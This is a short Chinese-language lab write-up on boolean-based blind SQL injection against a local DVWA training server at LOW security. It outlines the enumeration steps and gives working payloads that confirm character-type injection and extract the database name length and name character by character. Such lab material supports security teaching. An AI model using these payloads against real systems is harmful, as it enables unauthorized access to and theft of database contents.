目录
一、SQL盲注
1、SQL盲注与SQL注入的区别
- 盲注:目标只会回复是或不是,没有详细内容
- 注入:可以查看到详细的内容
2、SQL盲注的过程
1、判断是否存在注入,注入是字符型还是数字型
2、猜解当前数据库名
猜解数据库名的长度——>猜解数据库名的名称
3、猜解数据库中的表名
猜解库中有几个表——>猜解表名的长度——>猜解表的名称
4、猜解表中的字段名
猜解表中有几个字段——>猜解字段的长度——>猜解字段的名称
5、猜解数据
二、实验环境
1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite
2、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy。
三、实验过程
基于布尔值的盲注
安全等级:LOW
查看源码
Low级别的代码对参数id的内容没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的结果只有两种:
User ID exists in the database
User ID is MISSING from the database
1、判断是否存在注入,注入是字符型还是数据型
输入 1' and '1'='1 ,查询成功,说明存在字符型SQL注入
2、猜解当前数据库名
2.1 猜解数据库名的长度
1' and length(database())=1 # // 设数据库长度为1,报错
1' and length(database())=4 # //数据库名长度为4
2.2 猜解数据库的名称
- 1' and ascii(substr(database(),1,1))=100 # d
- 1' and ascii(substr(database(),2,1))=118 # v
- 1' and ascii(substr(database(),3,1))=119 # w
- 1' and ascii(substr(database(),4,1))=97 # a